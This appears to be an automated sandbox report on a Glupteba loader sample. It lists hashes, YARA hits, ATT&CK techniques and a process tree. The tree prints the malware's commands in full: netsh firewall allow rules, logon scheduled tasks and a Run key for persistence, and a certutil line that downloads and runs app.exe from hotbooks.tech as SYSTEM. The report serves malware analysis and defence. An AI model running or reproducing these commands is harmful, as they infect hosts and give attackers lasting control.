glupteba | 9a97d33edbdf3f58e4e02129fd9a573085de90d4ae1098ffa38fa4d0864eac9f

General

Target

9a97d33edbdf3f58e4e02129fd9a573085de90d4ae1098ffa38fa4d0864eac9f.exe
Size

3.9MB
MD5

1785d20bbf66ac8afd66138781b5b9e9
SHA1

a00fac5ec41193251feabd003c8af8beb4a45d40
SHA256

9a97d33edbdf3f58e4e02129fd9a573085de90d4ae1098ffa38fa4d0864eac9f
SHA512

95165609140e45d4f4e31170f38eb4964e49742de3ecdd04d6ab3b3dc5e72aada6f76976be025b87a06e8ea7131ef80cb6ad7cf782e1eaaa8c31d8cfcb2afbe8

Score

10^/10

glupteba discovery dropper evasion loader persistence

Malware Config

Signatures

Glupteba
Glupteba is a modular loader written in Golang with various components.
loader dropper glupteba

Glupteba Payload 5 IoCs

Processes:

resource	yara_rule
behavioral2/memory/2364-131-0x00000000017A0000-0x0000000001E96000-memory.dmp	family_glupteba
behavioral2/memory/2364-132-0x0000000000400000-0x0000000000C53000-memory.dmp	family_glupteba
behavioral2/memory/3192-138-0x00000000015A0000-0x0000000001C96000-memory.dmp	family_glupteba
behavioral2/memory/3192-140-0x0000000000400000-0x0000000000C53000-memory.dmp	family_glupteba
behavioral2/memory/3736-145-0x0000000000400000-0x0000000000C53000-memory.dmp	family_glupteba

Suspicious use of NtCreateUserProcessOtherParentProcess 4 IoCs

Processes:

svchost.exe

description	pid	process	target process
PID 4500 created 2364	4500	svchost.exe	9a97d33edbdf3f58e4e02129fd9a573085de90d4ae1098ffa38fa4d0864eac9f.exe
PID 4500 created 3736	4500	svchost.exe	csrss.exe
PID 4500 created 3736	4500	svchost.exe	csrss.exe
PID 4500 created 3736	4500	svchost.exe	csrss.exe

Executes dropped EXE 2 IoCs

Processes:

csrss.exepatch.exe

pid process

3736 csrss.exe
2960 patch.exe
Modifies Windows Firewall 1 TTPs
evasion

Modify Existing Service
T1031

pid	process
3736	csrss.exe
2960	patch.exe

Adds Run key to start application 2 TTPs 1 IoCs

persistence

Registry Run Keys / Startup Folder

T1060

Modify Registry

T1112

Processes:

9a97d33edbdf3f58e4e02129fd9a573085de90d4ae1098ffa38fa4d0864eac9f.exe

description	ioc	process
Set value (str)	\REGISTRY\USER\S-1-5-21-1809750270-3141839489-3074374771-1000\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\TwilightSky = "\"C:\\Windows\\rss\\csrss.exe\""	9a97d33edbdf3f58e4e02129fd9a573085de90d4ae1098ffa38fa4d0864eac9f.exe

Checks installed software on the system 1 TTPs
Looks up Uninstall key entries in the registry to enumerate software on the system.
discovery

Query Registry
T1012
Modifies boot configuration data using bcdedit 1 IoCs

Processes:

bcdedit.exe

pid process

2116 bcdedit.exe

pid	process
2116	bcdedit.exe

Drops file in Windows directory 2 IoCs

Processes:

9a97d33edbdf3f58e4e02129fd9a573085de90d4ae1098ffa38fa4d0864eac9f.exe

description	ioc	process
File opened for modification	C:\Windows\rss	9a97d33edbdf3f58e4e02129fd9a573085de90d4ae1098ffa38fa4d0864eac9f.exe
File created	C:\Windows\rss\csrss.exe	9a97d33edbdf3f58e4e02129fd9a573085de90d4ae1098ffa38fa4d0864eac9f.exe

Program crash 2 IoCs

Processes:

WerFault.exeWerFault.exe

pid	pid_target	process	target process
1248	2364	WerFault.exe	9a97d33edbdf3f58e4e02129fd9a573085de90d4ae1098ffa38fa4d0864eac9f.exe
224	3192	WerFault.exe	9a97d33edbdf3f58e4e02129fd9a573085de90d4ae1098ffa38fa4d0864eac9f.exe

Creates scheduled task(s) 1 TTPs 2 IoCs
Schtasks is often used by malware for persistence or to perform post-infection execution.
persistence

Scheduled Task
T1053

Processes:

schtasks.exeschtasks.exe

pid process

2892 schtasks.exe
1980 schtasks.exe

pid	process
2892	schtasks.exe
1980	schtasks.exe

Modifies data under HKEY_USERS 64 IoCs

Processes:

csrss.exe

description	ioc	process
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1e\52C64B7E\C:\Windows\system32\,@tzres.dll,-661 = "Cen. Australia Daylight Time"	csrss.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1e\52C64B7E\C:\Windows\system32\,@tzres.dll,-682 = "E. Australia Standard Time"	csrss.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1e\52C64B7E\C:\Windows\system32\,@tzres.dll,-1841 = "Russia TZ 4 Daylight Time"	csrss.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1e\52C64B7E\C:\Windows\system32\,@tzres.dll,-1912 = "Russia TZ 10 Standard Time"	csrss.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1e\52C64B7E\C:\Windows\system32\,@tzres.dll,-2941 = "Sao Tome Daylight Time"	csrss.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1e\52C64B7E\C:\Windows\system32\,@tzres.dll,-402 = "Arabic Standard Time"	csrss.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1e\52C64B7E\C:\Windows\system32\,@tzres.dll,-171 = "Central Daylight Time (Mexico)"	csrss.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1e\52C64B7E\C:\Windows\system32\,@tzres.dll,-731 = "Fiji Daylight Time"	csrss.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1e\52C64B7E\C:\Windows\system32\,@tzres.dll,-1932 = "Russia TZ 11 Standard Time"	csrss.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1e\52C64B7E\C:\Windows\system32\,@tzres.dll,-412 = "E. Africa Standard Time"	csrss.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1e\52C64B7E\C:\Windows\system32\,@tzres.dll,-131 = "US Eastern Daylight Time"	csrss.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1e\52C64B7E\C:\Windows\system32\,@tzres.dll,-222 = "Alaskan Standard Time"	csrss.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1e\52C64B7E\C:\Windows\system32\,@tzres.dll,-81 = "Atlantic Daylight Time"	csrss.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1e\52C64B7E\C:\Windows\system32\,@tzres.dll,-2612 = "Bougainville Standard Time"	csrss.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1e\52C64B7E\C:\Windows\system32\,@tzres.dll,-172 = "Central Standard Time (Mexico)"	csrss.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1e\52C64B7E\C:\Windows\system32\,@tzres.dll,-2872 = "Magallanes Standard Time"	csrss.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1e\52C64B7E\C:\Windows\system32\,@tzres.dll,-2432 = "Cuba Standard Time"	csrss.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1e\52C64B7E\C:\Windows\system32\,@tzres.dll,-1911 = "Russia TZ 10 Daylight Time"	csrss.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1e\52C64B7E\C:\Windows\system32\,@tzres.dll,-891 = "Morocco Daylight Time"	csrss.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1e\52C64B7E\C:\Windows\system32\,@tzres.dll,-292 = "Central European Standard Time"	csrss.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1e\52C64B7E\C:\Windows\system32\,@tzres.dll,-2342 = "Haiti Standard Time"	csrss.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1e\52C64B7E\C:\Windows\system32\,@tzres.dll,-91 = "Pacific SA Daylight Time"	csrss.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1e\52C64B7E\C:\Windows\system32\,@tzres.dll,-3052 = "Qyzylorda Standard Time"	csrss.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1e\52C64B7E\C:\Windows\system32\,@tzres.dll,-3051 = "Qyzylorda Daylight Time"	csrss.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1e\52C64B7E\C:\Windows\system32\,@tzres.dll,-2041 = "Eastern Daylight Time (Mexico)"	csrss.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1e\52C64B7E\C:\Windows\system32\,@tzres.dll,-122 = "SA Pacific Standard Time"	csrss.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1e\52C64B7E\C:\Windows\system32\,@tzres.dll,-401 = "Arabic Daylight Time"	csrss.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1e\52C64B7E\C:\Windows\system32\,@tzres.dll,-2002 = "Cabo Verde Standard Time"	csrss.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1e\52C64B7E\C:\Windows\system32\,@tzres.dll,-261 = "GMT Daylight Time"	csrss.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1e\52C64B7E\C:\Windows\system32\,@tzres.dll,-152 = "Central America Standard Time"	csrss.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1e\52C64B7E\C:\Windows\system32\,@tzres.dll,-2772 = "Omsk Standard Time"	csrss.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1e\52C64B7E\C:\Windows\system32\,@tzres.dll,-301 = "Romance Daylight Time"	csrss.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1e\52C64B7E\C:\Windows\system32\,@tzres.dll,-2942 = "Sao Tome Standard Time"	csrss.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1e\52C64B7E\C:\Windows\system32\,@tzres.dll,-1411 = "Syria Daylight Time"	csrss.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1e\52C64B7E\C:\Windows\system32\,@tzres.dll,-41 = "E. South America Daylight Time"	csrss.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1e\52C64B7E\C:\Windows\system32\,@tzres.dll,-1802 = "Line Islands Standard Time"	csrss.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1e\52C64B7E\C:\Windows\system32\,@tzres.dll,-2871 = "Magallanes Daylight Time"	csrss.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1e\52C64B7E\C:\Windows\system32\,@tzres.dll,-1662 = "Bahia Standard Time"	csrss.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1e\52C64B7E\C:\Windows\system32\,@tzres.dll,-432 = "Iran Standard Time"	csrss.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1e\52C64B7E\C:\Windows\system32\,@tzres.dll,-365 = "Middle East Standard Time"	csrss.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1e\52C64B7E\C:\Windows\system32\,@tzres.dll,-1892 = "Russia TZ 3 Standard Time"	csrss.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1e\52C64B7E\C:\Windows\system32\,@tzres.dll,-2611 = "Bougainville Daylight Time"	csrss.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1e\52C64B7E\C:\Windows\system32\,@tzres.dll,-372 = "Jerusalem Standard Time"	csrss.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1e\52C64B7E\C:\Windows\system32\,@tzres.dll,-1722 = "Libya Standard Time"	csrss.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1e\52C64B7E\C:\Windows\system32\,@tzres.dll,-912 = "Mauritius Standard Time"	csrss.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1e\52C64B7E\C:\Windows\system32\,@tzres.dll,-1861 = "Russia TZ 6 Daylight Time"	csrss.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1e\52C64B7E\C:\Windows\system32\,@tzres.dll,-462 = "Afghanistan Standard Time"	csrss.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1e\52C64B7E\C:\Windows\system32\,@tzres.dll,-341 = "Egypt Daylight Time"	csrss.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1e\52C64B7E\C:\Windows\system32\,@tzres.dll,-2791 = "Novosibirsk Daylight Time"	csrss.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1e\52C64B7E\C:\Windows\system32\,@tzres.dll,-872 = "Pakistan Standard Time"	csrss.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1e\52C64B7E\C:\Windows\system32\,@tzres.dll,-271 = "Greenwich Daylight Time"	csrss.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1e\52C64B7E\C:\Windows\system32\,@tzres.dll,-242 = "Samoa Standard Time"	csrss.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1e\52C64B7E\C:\Windows\system32\,@tzres.dll,-751 = "Tonga Daylight Time"	csrss.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1e\52C64B7E\C:\Windows\system32\,@tzres.dll,-201 = "US Mountain Daylight Time"	csrss.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1e\52C64B7E\C:\Windows\system32\,@tzres.dll,-431 = "Iran Daylight Time"	csrss.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1e\52C64B7E\C:\Windows\system32\,@tzres.dll,-2431 = "Cuba Daylight Time"	csrss.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1e\52C64B7E\C:\Windows\system32\,@tzres.dll,-92 = "Pacific SA Standard Time"	csrss.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1e\52C64B7E\C:\Windows\system32\,@tzres.dll,-214 = "Pacific Daylight Time (Mexico)"	csrss.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1e\52C64B7E\C:\Windows\system32\,@tzres.dll,-202 = "US Mountain Standard Time"	csrss.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1e\52C64B7E\C:\Windows\system32\,@tzres.dll,-672 = "AUS Eastern Standard Time"	csrss.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1e\52C64B7E\C:\Windows\system32\,@tzres.dll,-681 = "E. Australia Daylight Time"	csrss.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1e\52C64B7E\C:\Windows\system32\,@tzres.dll,-391 = "Arab Daylight Time"	csrss.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1e\52C64B7E\C:\Windows\system32\,@tzres.dll,-1721 = "Libya Daylight Time"	csrss.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1e\52C64B7E\C:\Windows\system32\,@tzres.dll,-2751 = "Tomsk Daylight Time"	csrss.exe

Suspicious behavior: EnumeratesProcesses 8 IoCs

Processes:

9a97d33edbdf3f58e4e02129fd9a573085de90d4ae1098ffa38fa4d0864eac9f.exe9a97d33edbdf3f58e4e02129fd9a573085de90d4ae1098ffa38fa4d0864eac9f.execsrss.exe

pid	process
2364	9a97d33edbdf3f58e4e02129fd9a573085de90d4ae1098ffa38fa4d0864eac9f.exe
2364	9a97d33edbdf3f58e4e02129fd9a573085de90d4ae1098ffa38fa4d0864eac9f.exe
3192	9a97d33edbdf3f58e4e02129fd9a573085de90d4ae1098ffa38fa4d0864eac9f.exe
3192	9a97d33edbdf3f58e4e02129fd9a573085de90d4ae1098ffa38fa4d0864eac9f.exe
3736	csrss.exe
3736	csrss.exe
3736	csrss.exe
3736	csrss.exe

Suspicious use of AdjustPrivilegeToken 17 IoCs

Processes:

9a97d33edbdf3f58e4e02129fd9a573085de90d4ae1098ffa38fa4d0864eac9f.exesvchost.execsrss.exe

description	pid	process
Token: SeDebugPrivilege	2364	9a97d33edbdf3f58e4e02129fd9a573085de90d4ae1098ffa38fa4d0864eac9f.exe
Token: SeImpersonatePrivilege	2364	9a97d33edbdf3f58e4e02129fd9a573085de90d4ae1098ffa38fa4d0864eac9f.exe
Token: SeTcbPrivilege	4500	svchost.exe
Token: SeTcbPrivilege	4500	svchost.exe
Token: SeBackupPrivilege	4500	svchost.exe
Token: SeRestorePrivilege	4500	svchost.exe
Token: SeBackupPrivilege	4500	svchost.exe
Token: SeRestorePrivilege	4500	svchost.exe
Token: SeBackupPrivilege	4500	svchost.exe
Token: SeRestorePrivilege	4500	svchost.exe
Token: SeBackupPrivilege	4500	svchost.exe
Token: SeRestorePrivilege	4500	svchost.exe
Token: SeSystemEnvironmentPrivilege	3736	csrss.exe
Token: SeBackupPrivilege	4500	svchost.exe
Token: SeRestorePrivilege	4500	svchost.exe
Token: SeBackupPrivilege	4500	svchost.exe
Token: SeRestorePrivilege	4500	svchost.exe

Suspicious use of WriteProcessMemory 22 IoCs

Processes:

svchost.exe9a97d33edbdf3f58e4e02129fd9a573085de90d4ae1098ffa38fa4d0864eac9f.execmd.execmd.execsrss.exe

description	pid	process	target process
PID 4500 wrote to memory of 3192	4500	svchost.exe	9a97d33edbdf3f58e4e02129fd9a573085de90d4ae1098ffa38fa4d0864eac9f.exe
PID 4500 wrote to memory of 3192	4500	svchost.exe	9a97d33edbdf3f58e4e02129fd9a573085de90d4ae1098ffa38fa4d0864eac9f.exe
PID 4500 wrote to memory of 3192	4500	svchost.exe	9a97d33edbdf3f58e4e02129fd9a573085de90d4ae1098ffa38fa4d0864eac9f.exe
PID 3192 wrote to memory of 4568	3192	9a97d33edbdf3f58e4e02129fd9a573085de90d4ae1098ffa38fa4d0864eac9f.exe	cmd.exe
PID 3192 wrote to memory of 4568	3192	9a97d33edbdf3f58e4e02129fd9a573085de90d4ae1098ffa38fa4d0864eac9f.exe	cmd.exe
PID 4568 wrote to memory of 620	4568	cmd.exe	netsh.exe
PID 4568 wrote to memory of 620	4568	cmd.exe	netsh.exe
PID 3192 wrote to memory of 1516	3192	9a97d33edbdf3f58e4e02129fd9a573085de90d4ae1098ffa38fa4d0864eac9f.exe	cmd.exe
PID 3192 wrote to memory of 1516	3192	9a97d33edbdf3f58e4e02129fd9a573085de90d4ae1098ffa38fa4d0864eac9f.exe	cmd.exe
PID 1516 wrote to memory of 1616	1516	cmd.exe	netsh.exe
PID 1516 wrote to memory of 1616	1516	cmd.exe	netsh.exe
PID 3192 wrote to memory of 3736	3192	9a97d33edbdf3f58e4e02129fd9a573085de90d4ae1098ffa38fa4d0864eac9f.exe	csrss.exe
PID 3192 wrote to memory of 3736	3192	9a97d33edbdf3f58e4e02129fd9a573085de90d4ae1098ffa38fa4d0864eac9f.exe	csrss.exe
PID 3192 wrote to memory of 3736	3192	9a97d33edbdf3f58e4e02129fd9a573085de90d4ae1098ffa38fa4d0864eac9f.exe	csrss.exe
PID 4500 wrote to memory of 2892	4500	svchost.exe	schtasks.exe
PID 4500 wrote to memory of 2892	4500	svchost.exe	schtasks.exe
PID 4500 wrote to memory of 1980	4500	svchost.exe	schtasks.exe
PID 4500 wrote to memory of 1980	4500	svchost.exe	schtasks.exe
PID 4500 wrote to memory of 2960	4500	svchost.exe	patch.exe
PID 4500 wrote to memory of 2960	4500	svchost.exe	patch.exe
PID 3736 wrote to memory of 2116	3736	csrss.exe	bcdedit.exe
PID 3736 wrote to memory of 2116	3736	csrss.exe	bcdedit.exe

C:\Users\Admin\AppData\Local\Temp\9a97d33edbdf3f58e4e02129fd9a573085de90d4ae1098ffa38fa4d0864eac9f.exe
"C:\Users\Admin\AppData\Local\Temp\9a97d33edbdf3f58e4e02129fd9a573085de90d4ae1098ffa38fa4d0864eac9f.exe"
1⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:2364

C:\Users\Admin\AppData\Local\Temp\9a97d33edbdf3f58e4e02129fd9a573085de90d4ae1098ffa38fa4d0864eac9f.exe
"C:\Users\Admin\AppData\Local\Temp\9a97d33edbdf3f58e4e02129fd9a573085de90d4ae1098ffa38fa4d0864eac9f.exe"
2⤵
- Adds Run key to start application
- Drops file in Windows directory
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of WriteProcessMemory
PID:3192

C:\Windows\system32\cmd.exe
C:\Windows\Sysnative\cmd.exe /C "netsh advfirewall firewall add rule name="csrss" dir=in action=allow program="C:\Windows\rss\csrss.exe" enable=yes"
3⤵
- Suspicious use of WriteProcessMemory
PID:4568

C:\Windows\system32\netsh.exe
netsh advfirewall firewall add rule name="csrss" dir=in action=allow program="C:\Windows\rss\csrss.exe" enable=yes
4⤵
PID:620

C:\Windows\system32\cmd.exe
C:\Windows\Sysnative\cmd.exe /C "netsh advfirewall firewall add rule name="CloudNet" dir=in action=allow program="C:\Users\Admin\AppData\Roaming\57c765cfdfac\57c765cfdfac\57c765cfdfac.exe" enable=yes"
3⤵
- Suspicious use of WriteProcessMemory
PID:1516

C:\Windows\system32\netsh.exe
netsh advfirewall firewall add rule name="CloudNet" dir=in action=allow program="C:\Users\Admin\AppData\Roaming\57c765cfdfac\57c765cfdfac\57c765cfdfac.exe" enable=yes
4⤵
PID:1616

C:\Windows\rss\csrss.exe
C:\Windows\rss\csrss.exe ""
3⤵
- Executes dropped EXE
- Modifies data under HKEY_USERS
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:3736

C:\Windows\SYSTEM32\schtasks.exe
schtasks /CREATE /SC ONLOGON /RL HIGHEST /TR "C:\Windows\rss\csrss.exe" /TN csrss /F
4⤵
- Creates scheduled task(s)
PID:2892

C:\Windows\SYSTEM32\schtasks.exe
schtasks /CREATE /SC ONLOGON /RL HIGHEST /RU SYSTEM /TR "cmd.exe /C certutil.exe -urlcache -split -f https://hotbooks.tech/app/app.exe C:\Users\Admin\AppData\Local\Temp\csrss\scheduled.exe && C:\Users\Admin\AppData\Local\Temp\csrss\scheduled.exe /31340" /TN ScheduledUpdate /F
4⤵
- Creates scheduled task(s)
PID:1980

C:\Users\Admin\AppData\Local\Temp\csrss\patch.exe
"C:\Users\Admin\AppData\Local\Temp\csrss\patch.exe"
4⤵
- Executes dropped EXE
PID:2960

C:\Windows\system32\bcdedit.exe
C:\Windows\Sysnative\bcdedit.exe /v
4⤵
- Modifies boot configuration data using bcdedit
PID:2116

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -u -p 3192 -s 700
3⤵
- Program crash
PID:224

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -u -p 2364 -s 912
2⤵
- Program crash
PID:1248

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k netsvcs -p -s seclogon
1⤵
- Suspicious use of NtCreateUserProcessOtherParentProcess
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:4500

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 444 -p 2364 -ip 2364
1⤵
PID:5000

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 448 -p 3192 -ip 3192
1⤵
PID:5012

Network

MITRE ATT&CK Matrix ATT&CK v6

Initial Access

Execution

Scheduled Task

1

T1053

Persistence

Modify Existing Service

1

T1031

Registry Run Keys / Startup Folder

1

T1060

Scheduled Task

1

T1053

Privilege Escalation

Scheduled Task

1

T1053

Defense Evasion

Modify Registry

1

T1112

Credential Access

Discovery

Query Registry

1

T1012

Lateral Movement

Collection

Exfiltration

Command and Control

Impact

Replay Monitor

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Downloads

C:\Users\Admin\AppData\Local\Temp\csrss\patch.exe
Filesize
1.7MB

MD5
13aaafe14eb60d6a718230e82c671d57

SHA1
e039dd924d12f264521b8e689426fb7ca95a0a7b

SHA256
f44a7deb678ae7bbaaadf88e4c620d7cdf7e6831a1656c456545b1c06feb4ef3

SHA512
ade02218c0fd1ef9290c3113cf993dd89e87d4fb66fa1b34afdc73c84876123cd742d2a36d8daa95e2a573d2aa7e880f3c8ba0c5c91916ed15e7c4f6ff847de3

Download Submit
C:\Windows\rss\csrss.exe
Filesize
3.9MB

MD5
1785d20bbf66ac8afd66138781b5b9e9

SHA1
a00fac5ec41193251feabd003c8af8beb4a45d40

SHA256
9a97d33edbdf3f58e4e02129fd9a573085de90d4ae1098ffa38fa4d0864eac9f

SHA512
95165609140e45d4f4e31170f38eb4964e49742de3ecdd04d6ab3b3dc5e72aada6f76976be025b87a06e8ea7131ef80cb6ad7cf782e1eaaa8c31d8cfcb2afbe8

Download Submit
C:\Windows\rss\csrss.exe
Filesize
3.9MB

MD5
1785d20bbf66ac8afd66138781b5b9e9

SHA1
a00fac5ec41193251feabd003c8af8beb4a45d40

SHA256
9a97d33edbdf3f58e4e02129fd9a573085de90d4ae1098ffa38fa4d0864eac9f

SHA512
95165609140e45d4f4e31170f38eb4964e49742de3ecdd04d6ab3b3dc5e72aada6f76976be025b87a06e8ea7131ef80cb6ad7cf782e1eaaa8c31d8cfcb2afbe8

Download Submit
memory/620-135-0x0000000000000000-mapping.dmp

Download
memory/1516-136-0x0000000000000000-mapping.dmp

Download
memory/1616-139-0x0000000000000000-mapping.dmp

Download
memory/1980-147-0x0000000000000000-mapping.dmp

Download
memory/2116-150-0x0000000000000000-mapping.dmp

Download
memory/2364-132-0x0000000000400000-0x0000000000C53000-memory.dmp

Filesize
8.3MB

Download
memory/2364-130-0x00000000013EE000-0x0000000001795000-memory.dmp

Filesize
3.7MB

Download
memory/2364-131-0x00000000017A0000-0x0000000001E96000-memory.dmp

Filesize
7.0MB

Download
memory/2892-146-0x0000000000000000-mapping.dmp

Download
memory/2960-148-0x0000000000000000-mapping.dmp

Download
memory/3192-140-0x0000000000400000-0x0000000000C53000-memory.dmp

Filesize
8.3MB

Download
memory/3192-138-0x00000000015A0000-0x0000000001C96000-memory.dmp

Filesize
7.0MB

Download
memory/3192-137-0x00000000011F0000-0x0000000001597000-memory.dmp

Filesize
3.7MB

Download
memory/3192-133-0x0000000000000000-mapping.dmp

Download
memory/3736-144-0x0000000001600000-0x00000000019A6000-memory.dmp

Filesize
3.6MB

Download
memory/3736-145-0x0000000000400000-0x0000000000C53000-memory.dmp

Filesize
8.3MB

Download
memory/3736-141-0x0000000000000000-mapping.dmp

Download
memory/4568-134-0x0000000000000000-mapping.dmp

Download

Analysis

Sharing

General

Malware Config

Signatures

Processes

Network

MITRE ATT&CK Matrix ATT&CK v6

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Downloads